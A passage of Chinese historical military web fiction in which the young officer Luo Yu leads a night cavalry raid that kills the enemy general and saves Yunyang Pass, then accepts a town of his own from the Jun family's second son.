这一刻,数百人的队伍鸦雀无声,哪怕是蒙虎这种铁打的汉子都红了眼。沈漓更是忍不住捂住嘴角,痛哭流涕。
“怎么,怎么会这样。”
洛羽踉跄着走过去,手掌颤抖着摸向那张熟悉的面庞。
“孙儿啊,我的孙儿啊。”
“爷爷抱着你呢,不怕,你爹在等你。”
老人似乎没有察觉到洛羽的到来,只是一遍遍呼喊孙儿的名字,儿子死了、孙子死了,对老人而言这世上早已没有可留恋的东西。
阳儿怀中紧紧抱着洛羽送给他的那把木刀,体温在一点点变冷,洛羽的眼眶中第一次出现了泪花。
“对不起,对不起,是我来晚了。”
洛羽咬着牙,心如刀割,从怀中摸索出一把木制的刀鞘,将木刀轻轻插入。
这是他为阳儿准备的新年礼物,本想着过完新年再送给他,没想到早上一别便是天人永隔。
洛羽茫然地站起身,环顾街巷,死尸遍地。
给自己送过小酱瓜的张大妈、送过米酒的王三婶、来军营帮过短工的黑娃……
死了,全死了。
死在他们破烂不堪,却又能遮风挡雨的小家。
他的耳边甚至还回荡着一声声大哥哥,稚嫩的嗓音是唯一能让他彻底放松的念想。
现在全都没了,宛如一场梦。
“走吧。”
萧少游艰难地努了努嘴:“再不走,就走不掉了。”
“不走了。”
洛羽的胸膛似乎比之前更加挺拔,随手拭去眼角的泪花,平静的嗓音中带着一股决然:
“我要留下来,守住云阳关!”
第52章百骑出边城
“不走了?”
萧少游艰难地伸手拍了拍肩膀:“我知道阳儿死了你心里难受,我何尝不难受?可现在羌军入城,三面城门尽数失守,局面已经无法挽回,留在城中只有一死。
守,绝对守不住。”
“要走,你们走。”
洛羽的表情很平静:“我留下。”
“何必呢?”
萧少游皱了下眉头:“你一个人留下能干什么?难道你要凭一己之力击退四千羌兵?”
“我没那个本事,但我会尽自己最大的努力。”
洛羽回头望向乌泱泱的撤退队伍:
“你们走,我绝不会怪你们,但如果有人愿意陪我一起留下,我谢谢你们。”
“洛羽!你在胡闹!”
萧少游终于急了:
“城门已破,敌我实力悬殊,你拿什么退敌!分明就是意气用事!你这是在拿兄弟们的命去冒险,去送死!
我绝不同意你留下来,所有人都得一起走!
只有活下去才有机会收复云阳关,才有机会给死去的百姓、同袍报仇!”
洛羽的音调陡然拔高:
“可你有没有想过我们一撤,云阳关会死多少人!羌兵一旦入关,内地会死多少人!百姓惨遭屠杀的场面会不断上演,你想过吗!”
如果说在这之前,自己的愿望是当将军,完成五年之约,受那段雇佣兵记忆的影响他会冷酷、会无情。
但此时此刻他更想去保护城中百姓。
阳儿死了,城中还有多少乐儿虎儿?又有多少像自己一样的少年即将面对羌人的屠杀?
一走了之?
不行!
“我知道!我的爹娘就死在我面前,我能不知道吗!”
萧少游攥紧拳头,破口大骂:
“可天下大乱,百姓如刍狗,这世道本就如此!你以为我愿意眼睁睁看着这么多百姓被杀吗,你以为我不想守住云阳关、保家卫国吗!
你告诉我,拿什么守!光凭咱们这几百人,就算把命全都搭进去都拦不住羌兵。
你说!”
全场鸦雀无声,回荡全城的喊杀声似乎都不见了,他们耳中只有两位年轻百户的争吵。
还是韩朔默默开口打破僵局:
“都什么时候了,你俩就别吵了。但我赞成少游的建议,羌兵声势雄壮,骁勇善战,我们打不过的。
先撤,收拢溃兵、等待援军才是最佳的选择。”
韩朔打了这么多年仗,知道眼下最正确的决定是什么。
“谁说守不住!”
洛羽看起来冲动,但思维却很清楚:
“羌兵忙着攻占云阳关,主力皆已入城,但完颜昌身为主将,一定留在城外坐镇,我赌他身边没多少亲兵护卫。
擒贼先擒王,只要杀了他,羌兵自退!”
“疯了,你真是疯了!”
萧少游急得直跺脚:
“就算他身边的卫兵再少,也得有千骑,你想要出城偷袭只能用骑兵,我们这里全加起来都凑不出两百骑兵,你想用两百骑冲破羌兵的千骑大阵吗!”
“为什么不行!”
洛羽怒喝道:“乌云密布,朔风骤起,很快就要下倾盆大雨。大雨一落,天色更黑,火把尽灭,战场上一片混乱,羌兵怎么知道我们只有两百人?
他们是人,我们也是人,他们手中拿的是长枪弯刀,难道我们拿的是烧火棍!
都是站着撒尿的汉子,跟他们拼一场又何妨!”
萧少游顿住了,没再反驳,而是在仔细思考洛羽的每一句话。
“如果你们问我为什么要留下来,我就跟你们讲讲道理!”
洛羽环顾全场:
“今天我们弃守云阳关,对,我们是可以安然无恙地活下去。可以后呢?下一次再面对这种局面呢?接着退?接着逃?
一座城一座城的逃,终有一日我们会放弃阙州,放弃整个陇西,怕,就会一直怕!逃就会一直逃!到时候陇西三州尽成焦土,家人父母皆成死尸。
今天死百人,明天就会死千人,死万人!
我洛羽冷酷,无情,可我不愿意看到那一天!
我们是军人,是边军!岂能一退再退!”
其实前世当雇佣兵,他见过太多太多的死人,鲜血淋漓的尸体并不会让他的情绪出现波动,可看到成百上千无辜百姓的尸体堆在一起,他受不了。
这些人需要有人去保护。
“如果说大道理咱们不讲,那我们就讲一个小道理!”
洛羽挥手扫过整条街巷:
“看看,看看你们身边的尸体!王大娘、张三婶,平日里她们对我们照顾有加,把你们当成她们的亲儿子去照顾,现在她们被杀了,我们拍拍屁股就走了,对得起她们吗!
如果这里生活的是你们的家人,你们还会退吗!
我要替他们报仇,就是这么简单!”
寂静,死一般的寂静。
忽然有一道雷鸣划破天际,震耳欲聋,淅淅沥沥的雨点降落凡尘,打湿了将士们的衣袍甲胄、战马弯刀。
一群粗狂的汉子面色涨红,胸口起伏,眼眶中打转的不知是雨水还是泪水。
洛羽提枪上马,冷声喝道:
“愿意跟我走的,上马,想要活下去的,尽快保护百姓撤往内地。
这一战没人敢保证能活下去,但我洛羽就算是死,也会死在杀敌的路上!”
一人一骑,策马远行。
场面沉寂了许久,所有人都默然不语,洛羽不算健硕的背影看起来是无比坚毅。
第一个开口说话的竟然是沈漓,抱着小破斧,几乎是用哭腔在嘶吼:
“都是爷儿们,说句话啊!”
“妈的,跟这群杂碎拼了!”
蒙虎回过神来,红着眼扯动缰绳:
“草,羽哥等我!”
“我也去!等我!”
董川、小伍,还有一群最先跟着洛羽的老兵纷纷转向,紧追远去的背影。
然后便是吕青云提枪上马,朝着萧少游与韩朔的方向一抱拳:
“奴庭人的命不值钱,死在战场上和饿死荒野,我们宁愿死得像个男人。
兄弟们,来世再见!”
“走!”
“大不了就是一条命!”
吼声四起,洛羽麾下的骑兵尽数离去,渐行渐远。
萧少游和韩朔麾下的骑兵焦躁难耐,用一种期待的眼神看向自己的老大。
“看着我干什么!”
萧少游怒吼道:
“上马,迎战!”
“诺!”
一声怒吼,骑兵尽数离去,街道上瞬间空旷了不少,只剩下大批步卒留守原地。
韩朔目光怔怔:
“打了半辈子仗,第一次见这种场面啊,全都疯了。”
“洛羽说得没错,这一仗,有的打,无非是险中求胜罢了。”
萧少游紧握拳头:
“韩都尉,你威望高,找到其他的百户、都尉,尽可能把兵马集中起来,我去动员全城青壮百姓一起抗敌。
咱们把所有兵力收缩在城内街巷,每一条街巷、每一栋房屋都是战场,把羌兵死死拖在城内。
只要洛羽的手,我们就能赢!”
“好!”
韩朔狞笑一声:
“既然你们都疯了,那我就陪你们疯一把!”
……
雨势一点点变大,云阳关内喊杀震天,羌兵的屠刀不断收割着城内守军百姓的人头,一支骑队陡然从战场上横冲而过,反向杀出了西门。
骑队人数不多,却有一股杀气冲天而起。
雨点淅淅沥沥地拍打在脸上,洛羽面无表情,挺枪向前:
“随我一战!”
“杀!”
怒吼声回荡云霄。
百骑出边城,雨夜入敌阵!
第53章雨夜入敌阵
“轰!”
一声惊雷划破云霄,磅礴大雨轰然而落,洒满人间。
伴随着嘈杂的大雨,战鼓声轰隆作响,那是萧少游在击鼓聚兵,号召全城士卒奋起杀敌。
大雨浇灭了数不清的火把,云阳关内外漆黑一片,双方士卒压根分不清战局态势,只有愤怒的嘶吼与凄厉的惨叫在雨幕中弥漫。
一座近千人的骑阵摆在西门外五里处,“完颜”军旗高举空中,肃杀之气凛然。
被洛羽赌对了,完颜昌并没有带兵杀入云阳关,而是带兵在城外坐镇。一开始他还能看到满城燃起的火光,但现在云阳关已经被夜色与雨幕笼罩,一片漆黑。
“将军,雨势太大了,您要不先回营休息吧,这里我们盯着便是。”
“不必,要不了多久就能占领全城,本将军就在这等。”
完颜昌微微一笑:
“看来那个孔贤比李承啸中用啊,是个可用之才。”
他真的收到了两份投降的密信,所以他才不紧不慢地扎营休整,按兵不动,因为他知道即使死了一个李承啸,云阳关的大门迟早会自己打开。
“杀啊!”
“有敌兵偷袭,拦住他们!”
“快!”
笑容还未散去,骑阵东面就传来一阵阵愤怒的怒吼,隐隐有打斗之声传来,完颜昌眉头一皱:
“怎么回事?”
“报!”
一骑飞马而来,急声道:“有乾军偷袭我军阵,已经派兵阻拦。”
“这个时候还有人敢出城偷袭?多少兵马?”
“夜色太黑,看不清楚,但声势浩大,感觉兵力不少,卑职隐约听到战场中有人在喊洛羽二字。”
“原来是他?”
完颜昌双眼微眯,思索片刻嘴角便勾起了冷笑:
“看来是冲着本将军来的,此子当真不可小觑啊,如此危局竟然没想着逃命,还想杀了本将反败为胜。
胆魄确实过人。”
“异想天开罢了。”
副将抱拳道:“将军,是否从城内撤出一些兵马,围堵乾军。”
“不必,整座云阳关他们也凑不出一千骑兵,有何惧之?”
完颜昌轻轻一挥手:“给你八百骑,拎着洛羽的脑袋来见我。”
“诺!”
大批骑兵转向往东,朝着战场方向包围而去,完颜昌轻蔑地摇了摇头:
“想法不错,可惜啊,在绝对的实力面前,雕虫小技又有何用?”
……
“杀!”
“老子就是你们要找的洛羽,来啊,有种的上前杀了我!”
“他就是洛羽,将军有令,取其首级者赏银百两,给我杀!”
混乱的战场中有一名魁梧的汉子大声怒吼,枪尖迭出,接连将好几名羌兵捅穿马背,神勇无比,还不停地囔囔自己就是洛羽。
定睛一看,分明就是蒙虎!
三面羌骑迎面杀来,他半点不慌,单手握住枪杆顺势往前一砸,看起来轻飘飘的一枪却蕴含无穷的力道,三名羌骑使出浑身的力气也没能挡住这一枪,直接被砸得吐血而退。
“强!哈哈!”
小伍的身影也出现在了侧面,他力气虽然远不如蒙虎,可枪法练得还算纯熟,猛地催动战马扑向前方一名羌兵,抬手就是一枪斜刺捅进了羌兵的后背,干脆利落将其挑落下马。
现在的小伍可不是当初的新兵了,这几场战事中死在他手里的羌兵少说有七八个。
“哈哈,你也不赖!”
蒙虎朗声大笑:“羌兵也没什么好怕的嘛,一枪下去照样是两个窟窿,咱兄弟们今日就好好杀他一场!”
近百骑兵在战场中横冲直撞,根本不管队形,反正乌漆嘛黑的,谁也看不清谁,羌兵确实搞不清乾军到底有多少人,只能感觉到四面八方都是敌人。
每个人都在豁出命与羌兵厮杀,因为他们深知,只有拖住八百羌骑才能搏一个胜利的希望。
“你就是洛羽?”
领头的羌兵副将顺着吼声一路杀了过来,声音中带着一丝丝的疑惑,那日在阵中他遥瞄过洛羽一眼,怎么觉得不太像呢?
“没错。”
蒙虎狞笑一声:
“我就是你羽大爷!想活命的赶紧逃,老子枪下可不杀孬种。”
“放肆!”
副将一下子就被激怒了,挺枪而来:
“区区新兵,焉敢在本将面前嚣张!”
“看枪!”
“看你妈个头!”
蒙虎可不管你是什么主将副将,在他手里全都一样,连着挥出七八枪,每一枪都势大力沉。副将面色惊疑,双臂发麻,愕然嘀咕了一句:
“这家伙,好强的臂力啊。”
“再接我一枪试试!”
蒙虎贴近身前,使出浑身之力砸出一枪,副将面色抖变,情急之下赶忙横枪在胸口一挡,可蒙虎这一枪的力道实在太大了,震得他咽喉一甜,一口鲜血喷涌而出。
两人距离太近,吐血的副将终于看清了蒙虎的面庞,惊愕道:
“你不是洛羽!”
“恭喜你,猜对了。”
蒙虎狞笑一声:“可惜,晚了!”
“不好,中计了。”
副将脸色煞白,急声欲吼:
“立刻通报将军……”
“噗嗤!”
才说了半句,一杆长枪就捅进了他的胸膛,蒙虎啐了口唾沫:
“还想报信,做梦!”
……
“隆隆!”
“轰隆隆!”
夜色中又有一阵急促的马蹄声响起,但这次不是在战场东面了,而是在完全相反的西面。
驻足观战的完颜昌第一时间皱起了眉头,猛然扭头看向西面,似乎有一支骑兵正汹汹而来。
“又有伏兵?”
完颜昌陡然醒悟,眉头紧锁,眼神彻底冰寒:
“原来是声东击西之计,好小子,越来越让我意外了。”
从西面杀来的骑兵更少,只有五十骑,但却是洛羽和萧少游麾下最能打的五十号汉子。每个人都面色冷酷,心存必死之志。
如果说一个时辰前他们想的还是如何保命,那他们现在只有一个念头:
宰了完颜昌,守住云阳关!
冲锋在前的洛羽嘴角勾起了一抹冷笑,擒贼先擒王也得讲究个技巧嘛。所以他分出部分兵力交给蒙虎吸引敌人,搅乱羌兵阵型,自己则带着最精锐的五十人给予羌兵致命一击!
这么大就得蒙虎、小伍他们拼死一战,虽有些残酷,但已经是洛羽能想出来的最好办法。
两百骑硬冲一千骑,胜算太低,但现在五十骑对阵一百多名羌兵,那就不一定了。
上下一心,优势在我!
面对在慌乱中转向迎战的羌兵骑阵,洛羽率先挺枪前冲,厉喝一声:
“不畏死者,可求生!”
决然的吼声穿透雨幕,传进了每一名将士的耳中,所有人都策马前冲,齐声怒吼:
“死战!”
第54章人人血衣归
五十精骑犹如一把尖刀,狠狠凿进了羌兵骑阵。
洛羽打头,出手一枪就先捅死了一名伍长,董川、吕青云二人一左一右,怒目圆睁,枪出如龙,同样杀敌建功。人人奋勇争先,愣是将注意力全在东面的羌兵打了个措手不及。
洛羽已经看见了远处的“完颜”将旗,眼中凶光越盛。
“拦住他们!快!”
“保护将军,都给我上!”
羌兵纷纷转向迎战,嘶吼阵阵,双方混战成一团,重重雨幕中不断有鲜血飞溅。
“区区数十骑,竟敢深入我大羌骑阵,嚣张至极!”
打着打着羌兵就摸透了乾军的底细,两百骑蜂拥而上,拼死围剿这一支孤军,战事逐渐惨烈。
四五名悍卒同时围住了吕青云,长枪频出,杀机四伏,吕青云用肩膀硬接了一记长枪才反手捅死两人,鲜血瞬间打湿了半边身子。
奴庭出身的汉子甚至连眉头都没皱一下,嘶吼着向前:
“杀贼!兄弟们给我杀!”
还有董川,长枪在接连捅死两名羌骑之后崩成了两截,悍然拔刀继续冲杀。
所有人都清楚,这是他们距离胜利最近的时候,要不顾一切扑到完颜昌身边。正是这种不要命的打法硬生生从羌兵防线中厮开一道口气,离那面将旗越来越近。
“乾军小儿,先过我这一关!”
完颜昌的亲兵都尉横身策马,挡在洛羽身前,反手就是一枪刺了过来,洛羽侧身一躲,有惊无险地避开枪尖,同时枪杆一横,绕着腹部转了一圈砸了过去。
“砰!”
枪杆正中羌兵都尉的后背,骨骼微裂,一阵剧痛袭遍全身,这家伙的目光中多出一份惊惧,强忍着伤痛抬枪要刺,哪知洛羽的枪尖已经飘然而至。
“好快的反应。”
羌兵都尉惊骇无比,忙不迭地偏头去挡,可惜还是慢了一拍,被一枪挑中咽喉,毙命当场。
电光火石之间就斩杀一名悍卒,董川、吕青云他们越发振奋,拼了命地跟着洛羽往前冲,五十骑愣是打出了五百骑的气势,大有一鼓作气吃掉羌兵之象。
“一群废物!”
亲眼目睹亲信被杀,完颜昌满脸冰寒,从卫兵手里接过长枪,策马向前,仅一枪就将一名落单的乾军捅穿下马,凶悍无比。
“喝!”
刚将乾军挑落马背,一杆长枪就从侧面袭来,完颜昌眼疾手快隔空一挡,一记凶悍的对拼下两人同时晃悠了几下。
“你就是洛羽?”
完颜昌第一次近距离与洛羽相见,年轻的面庞让他有些惊讶。
“完颜昌是吧。”洛羽冷声道:“听说你好几次想要杀我,可惜都失手了。”
“你小子命还真大啊。”
完颜昌讥讽道:“怎么,带着这么点人就想绝地反击?不自量力。”
“不是绝地反击。”
洛羽将长枪往身前一横:“而是胜券在握!”
“哈哈哈,好大的口气。”
完颜昌忍不住笑出了声:“什么时候乾军的新兵蛋子也有如此志向了,真是让本将军意外啊,待会儿就把你的人头挂在云阳关的城头,让你看着我大羌骑军入城!”
“我是新兵蛋子。”
洛羽目光冷厉:“所以只能借你的人头往上爬了!”
他要完成五年之约、他要替城中的父老乡亲报仇、他更要让自己活下去,所以他今日必杀完颜昌!
“狂妄!看招!”
完颜昌冷笑一声,手中长枪猛然一抖,枪尖划破雨幕,直刺洛羽的胸口。洛羽眼神一凝,身体微微一侧,枪尖擦着前胸布甲划过。他顺势将长枪一挑,枪杆在半空中转向,绕向了完颜昌的腰间。
完颜昌反应极快,马背上的身体猛地一沉,长枪横扫,强行挡住了洛羽的攻势。两杆长枪在空中相撞,一记对拼震得两人手臂发麻。
“确实有点本事。”
完颜昌略显惊讶,显然没料到洛羽的力量竟如此强横。
“但光凭这些还杀不了我!”
完颜昌怒吼一声,再度袭来,枪尖绕着洛羽身侧不停飞舞,步步紧闭。到底是羌兵悍将,骑战经验还不多的洛羽隐隐有落入下风的趋势,在十几招凶悍的对拼之后,完颜昌抓住机会一个侧枪,划开了洛羽的肩膀,鲜血迅速染红了衣袍。
“我说了,你还没本事杀我。”
几乎稳占上风的完颜昌狞笑一声,使出浑身的力气刺出一枪,枪影如龙,强悍的力道直接将洛羽手中的枪杆劈成两截,这下洛羽真的成了赤手空拳。
“我告诉你,这些年我在战场见过太多的初生牛犊,各个自以为是天降大才,实际上这些人终将会变成黄沙中的一堆白骨!
今日我就让你知道,战场不是你该来的地方!”
“喝!”
完颜昌使出了杀招,枪尖反转,斜挑向洛羽的咽喉,如此凶悍的攻势对手无寸铁的洛羽来说几乎是必杀一记。
洛羽猛然扭头,枪尖贴着他的脸颊滑过,右手一翻,破晓浮现,以迅雷不及掩耳之势刺向正前方,狰狞嘶吼:
“会变成一堆白骨的是你!”
“噗嗤!”
匕首稳稳地扎进了完颜昌的胸口,几乎整段没入体内。
完颜昌呆愣愣地低头,不可置信地望着半截断枪:
“你,你……”
“扑通。”
壮硕的身躯栽落马背,溅起一滩血水。
洛羽翻身下马,从地上捡起一把弯刀一步步走到完颜昌身边,居高临下,眼神冰寒。
完颜昌连着吐了好几口鲜血,眼眸中充斥着绝望,他做梦也想不到会死在这个无名小卒的手里。
“呼。”
洛羽沉吸了一口气,缓缓举起弯刀:
“完颜将军,借你人头一用!”
……
“杀啊!”
“杀光乾军,云阳关就是我大羌的!”
“兄弟们,跟他们拼了,杀!”
嘶吼声依旧回荡在云阳关的上空,雨势还在加大,迷得人睁不开眼,双方数千士卒几乎是在泥水血水中厮杀。
一队骑兵顺着城门横冲直撞,一路杀进西门,将堵在门口的羌兵冲得七零八落,羌兵惊愕不已,为什么这种时候还会有骑兵从背后杀出?
只见这伙骑军浑身血红,大半带伤,可却又一股漫天杀意缭绕在他们身侧。
为首一人,单手握枪,高举空中,一颗血淋淋的人头插在最上端。
“完颜昌已死,尔等还不束手就擒!”
洛羽的声音在雨夜中回荡,仿佛一道惊雷,震得羌兵心神俱裂,他们的主将竟然已经成了无头冤魂。
“敢入云阳关者,杀无赦!”
“杀!”
……
云阳雨夜寂无声,
百骑血衣归边城。
第55章你我皆是刍狗
雨停。
天晴。
大乾历,景丰九年,大年初一
数不清的军卒百姓站在血泊中,目光呆滞,四周残肢断臂、血肉模糊的场面令他们满心悲戚,空气中弥漫着一股令人作呕的血腥味。
没人想过云阳关会以这样的方式度过新年之夜。
一夜之间,满城死尸。
家人同袍,生死殊途。
但他们还活着,“乾”字军旗依旧高高飘扬,他们开始自发地打扫战场,埋葬那些死去的亲人。许多人会不自觉地看向城头,那儿有一道年轻又坚毅的背影,朝阳而立。
洛羽。
雨落之夜斩敌酋!
是他给了全城百姓活下去的希望。
“赢了,我们真的赢了。”
韩朔不敢相信自己的眼睛:
“老子难得疯一把,没想到赌对了。”
打了这么多年仗,输多胜少,这场仗能赢在他看来就是个不可思议的奇迹。
“都尉大人是不是认识镇东大将军武成梁?”
洛羽轻飘飘的一句话让韩朔脸上的兴奋戛然而止,愕然回头,表情中带着震惊还有一抹不安。
“不要否认,你骗不了我的。”
洛羽一步步走向韩朔:
“这一个月你表面上对我严苛有加、偶有刁难,但实际上却对我十分关照,从物资、军粮到战马,没有过半点克扣。
还有昨夜一战,都尉在发现孔贤密谋通敌之后最好的选择应该是带兵逃生,没理由冒着一死来救我。
你对我好得过头了。”
“这都能被你看出端倪,确实聪明绝顶。”
韩朔苦笑一声:“可你没道理联想到大将军啊?”
洛羽平静地说道:“我与都尉非亲非故,若非受人之托你没必要对我这么好,思来想去就只有他了。
我找人打听过,您从军十八年,而十八年前武成梁恰好在陇西征战,太巧了些吧?”
“佩服,心思细腻。”
韩朔目光微挑,犹豫片刻之后终于说出了实情:
“十八年前我投入大将军麾下,当时大将军还只是一个游击将军,见我敢打敢拼便收为亲兵,对我有救命之恩。
后来大将军离开陇西征战动静,我念旧土不愿离开,便一直留在阙州。
两个月前大将军突然到了云阳关,私下见了我一面,让我暗中关照一个名为洛羽的年轻人,但是要不着痕迹,不要让你看出来,若是碰到必死之局定要相救。”
洛羽心中无奈,还真被自己猜对了,同时又升起一股暖意,那位便宜老爹嘴巴上说着全靠自己,可终究还是留了后手。
“我很好奇,你是大将军什么人,值得他亲自来一趟陇西。”
韩朔突然嘴角微翘,目光古怪:
“这天下,敢直呼大将军名讳的人可不多啊。
当然了,你不必告诉我,反正大将军让我保护你,那我韩朔就算豁出一条命也不会让你死在我前头。”
洛羽微微一笑,看来便宜老爹也有一群忠心耿耿的下属,起码韩朔可以完全信任。
“你啊,还是去看看少游吧。”
韩朔往旁边瞄了一眼,拍拍屁股走了。
洛羽蓦然转头,萧少游正坐在墙角下,浑身血污,眼神中带着一种说不清的落寞、茫然。
羌兵退走之后他就带着人满城搜寻孔贤,最后在一间破旧的民房里找到了他,萧少游亲手送他见了阎王。
可杀了人之后萧少游没觉得多解气,就一个人呆坐在这,整整两个时辰,一动不动。
洛羽坐在他身边:
“屁大点事,这就一蹶不振了?”
“不至于,只是心里难受。”
萧少游默默说道:
“以前吧我总觉得李家、君家这些拥兵自重的世家门阀不是好东西,眼里只有家族利益。孔贤虽然能力一般,但至少还是个听朝廷号令的将军,一直在尽心尽力的守城。
可现在我才明白,李家也好孔贤也罢,他们全都是为了自己,不管是牙兵还是朝廷官军,没有人值得信任。
云阳关打了这么久,一兵一卒的援军都没看见,孔贤有一句话说得对,有谁会关心我们的死活?
我们这些大头兵,无非是他们的棋子罢了,攫取利益的棋子。”
洛羽望向满城死尸:
“你之前一直说天下大乱、七国纷争,苍生如刍狗,可我们这些人在世家门阀、朝堂权贵的眼里又何尝不是刍狗?”
“是啊,你我皆是刍狗。”
萧少游扶着城墙站了起来,眼神从茫然一点点变得狠厉,果决:
“要想不成为某些人的棋子,要想在这个乱世活下去,就只能自己说了算!
只要有了兵、有了权、任何人都别想利用我们!”
“没错,世家门阀也好,朝廷官府也罢,只会把我们当成可以利用的棋子。
要想不成为别人的棋子,我们就得有自己的势力!自己的地盘!”
洛羽的目光中同样有一抹狠厉闪过,也欣慰了许多。
萧少游有能力,有计谋,唯一欠缺的就是心性上的磨炼,从这一刻开始,他应该蜕变了。
萧少游缓缓握紧拳头:
“宁为百夫长,胜作一书生!”
……
距离新年之夜那场血战过去了七八天,完颜昌的战死打垮了羌兵的军心斗志,一口气撤出老远,现在城墙外围连一个羌兵的影子都看不见。
孔贤、君毅、李承啸三人全都死了,云阳关陷入了一种群龙无首的状态,不知道从何时起,洛羽竟然隐隐成了领头的。
不管是韩朔、萧少游还是其他那些都尉、百户,大事小事都来问他,就连城中的百姓也对洛羽感恩戴德。
洛羽莫名其妙地接下了这幅担子,安排人手重新修缮城墙、整顿城防,埋葬战死同袍的尸体。
到了第八天的清晨,君家的兵马像是提前收到了什么信号,早早地便在城外列阵,几百兵马站得整整齐齐。
官道上出现了一支骑队,浩浩荡荡不下千骑,人人披甲持枪,神情冷酷,更有一面面“君”字大旗迎风招展。
洛羽在城头上张望着:“啧啧,这支骑兵气势倒是不弱。”
“阵仗不小。”
萧少游疑惑道:“不知道是谁来了。”
“轰隆隆~”
骑队在城门外停稳,护卫两翼,中间有一辆华丽的马车,同样插着君字旗号,金丝银线绣出的“君”字在告诉所有人,车内之人尊贵不凡。
车帘轻挑,一袭墨色长衫缓缓走下马车,遥遥望去衣袍表面还绣着一些奇怪的纹路,看不清楚。
车内男子负手而立,望向城头,视线第一眼就和洛羽对在了一起,让洛羽的心头莫名一颤。
“轰!”
两侧军卒齐刷刷地跪下,抱拳高喝:
“恭迎公子!”
这气势、这排场,甚是壮观。
“竟然是他。”
萧少游的目光中露出一抹震惊。
“谁?”
“君家二公子,君墨竹。”
第56章自己选的路
将军府的前厅,洛羽见到了那位来历不凡的君家二公子,而且君墨竹只召见了他一人。
不到二十的年纪,与自己年纪相仿,身姿挺拔、面如秀玉,眉宇间带着一股与其年纪不符的沉稳。
一袭墨色长袍,做工精细、材质上佳,衣袍表面还用碧绿色的丝线绣出了几丛修长的竹纹、疏密有致,清雅华贵,与其名字正好般配。
往这一坐便给人一种尊贵之感,这才是真正的世家公子,萧少游的家世跟他比起来估计是九牛一毛。
萧少游和韩朔大致介绍了一下此人,君家排名第二的公子,从小便博览群书、聪明绝顶、天赋惊艳。这些年更是为君家的扩张出谋划策,接连铲除了不少对手,别看他年轻,但是在整个陇西都算是跺跺脚抖三抖的人物。
洛羽心中满是疑惑,如此大人物单独召见自己干什么?而且云阳关属于阙州,阙州李家的人没到,为什么定州君家的人反而先到了。
好奇怪。
君墨竹随手翻阅着军报,漫不经心地说道:
“你心中肯定在想,你一不是君家的人、二不是城中官衔最高者,我为什么要单独见你。
还有,我为什么来得比李家还要快。
对吧?”
洛羽一惊,有一种浑身不自在的感觉,这家伙难道会读心术?
“不用多想,我对你没有恶意。”
君墨竹笑着解释道:
“前阵子我收到了一封君毅送来的军报,他在信中多次提到你的名字,鸡鸣寨一战杀敌百人、黑沟寨一战又杀敌百人、城头两箭更是大涨军心士气、还有你揪出叛徒李承啸的表现都十分亮眼。
看完军报侯我对你很感兴趣,所以特地从定州赶来看看你。
只不过我没想到孔贤叛国、云阳关差点失守、君将军不幸战死,可恨啊。又是你,临危受命扛起担子,率军奇袭羌兵大营,阵斩完颜昌,守住了云阳关。
力挽狂澜。
说真的,我很好奇一个新兵为何能表现得像一个久经沙场的悍将。”
洛羽这才了然,怪不得君家来得这么快,感情云阳关一战还没开打他就在来的路上了,本意不是支援前线,而是来找自己的。
面对君墨竹的夸奖洛羽只能客气道:
“公子太高看了,卑职不敢当,不知单独召见我可有事要吩咐?”
“呵呵。”
君墨竹嘴角上扬:
“你是聪明人,应该知道我为何要单独见你。”
“公子您是想让我投入君家?”
“和聪明人说话就是轻松,我喜欢。天下乱世,兵戈四起,武力是立足之本。
但我君家乃书香门第,族内读书人居多,有领兵之才的将军很少,我很希望你这样的后起之秀能加入君家。
要不要考虑考虑?”
洛羽不再躬着身子,而是挺直胸膛与君墨竹对视:
“不知公子是在命令我,还是在商量?”
“算是给你一种选择吧。”
“这么说还有其他选择?我想听听。”
“可以。”
君墨竹娓娓道来:
“第一条路,你既然是孔贤的下属,那就算是朝廷的兵马,云阳关一战你立下大功,可以在这里等朝廷的封赏。
至于朝廷会封你多大的官、赏多少银子那我就不知道了。
第二条路嘛,投入我君家,也就是所谓的牙兵。
我给你一千骑兵,要知道整座云阳关都凑不出一千精骑。一千人所需要的战马、粮饷、军械,你要多少我给多少,充足供应。
至于日后你能达到何种层次,就看你能为我君家立下多少功劳了。”
洛羽目光闪烁,十分优厚的条件了。
靠他自己去攒一千骑兵不知道要攒到什么时候,更别提充足的军饷物资供应,还背靠君家这座大山。
屋中微微沉寂,打心底将洛羽对这些世家大族并无好感,朝廷那边也靠不住,在他看来没有一方值得自己卖命。
沉默许久,洛羽问了一句:
“还有第三条路可以选吗?”
“当然有。”
君墨竹微微一笑:
“云阳关一战你力挽狂澜,同时也避免了君家兵马全军覆没,算是君家欠你一个人情,我可以送你一座小城,聊表谢意。
当一名城主,自己招兵买马,扩充实力,至于朝廷那边你不用担心,我会帮你处理好。
君某在陇西有几分薄面,这点小事还是能摆平的。”
“自己当城主?”
洛羽面带疑惑:“那和君家是什么关系?从属吗?”
“不是。”
君墨竹摇了摇头:“你与君家没有半点关系,与任何一家都没有关系。
在你的城里,你就是主人,至于朝廷的命令你听不听,呵呵,这就是你自己的事了。”
君墨竹轻笑一声,提到朝廷二字是并未任何敬意。
“原来如此。”
洛羽陷入了沉思,也就是说因为救了君家的人,君墨竹送了自己一座城,两不相欠,以后的事他就不管了。
“我还有一个问题,所谓的城主是几品官?”
洛羽可一直惦记着五年之约呢,想回武家得当上正五品的将军,城主掌管一城,怎么着也是个不小的官吧?
“几品官?”
君墨竹摇了摇头:“并无任何官职,若要说官位,连军中的末流都尉都不如,但如果有朝一日你的城发展壮大,被朝廷注意到了,那朝廷会降旨赐官,这才算是有了正儿八经的官身。”
“原来是这么回事。”
君墨竹随意往椅背上一靠:
“可以回去慢慢想,我等你的答案。”
“不用,我现在就可以给你答案。”
洛羽目光坚定:
“我选第三条路,自己当城主。”
洛羽心头泛紧,这么直截了当地拒绝君家的拉拢,该不会惹出什么麻烦吧?
“可以。”
哪知君墨竹干脆利落,并未任何异常,很快就让下人在桌上铺好地图,白皙的手掌轻轻一指:
“云阳关东北方两百里左右有一片山脉,当地百姓称之为三岐山,位于阙州、定州的交界处,换句话说此地既不属于阙州也不属于定州。
山脚下有座岐城,名义上是我君家代管,实际上一直是无主之城,从现在起岐城就归你了。”
君墨竹大概介绍了一下情况,洛羽很用心的听着,当听到不属于任何一州管辖时心里松了口气,上面没有君家、李家压着,做起事来应该会更方便一些。
“基本上就是这么个情况。”
君墨竹面带笑意:
“我派斥候探过了,羌兵已经退兵,短时间内边关不会有战事,你随时可以去岐城。”
“就这么简单?君公子就没什么其他要说的?”
洛羽终于忍不住问了一句,因为自己拒绝了君家的招揽,这个君墨竹就不生气?想当初李承啸可没少为难自己。
“我知道你在想什么。”
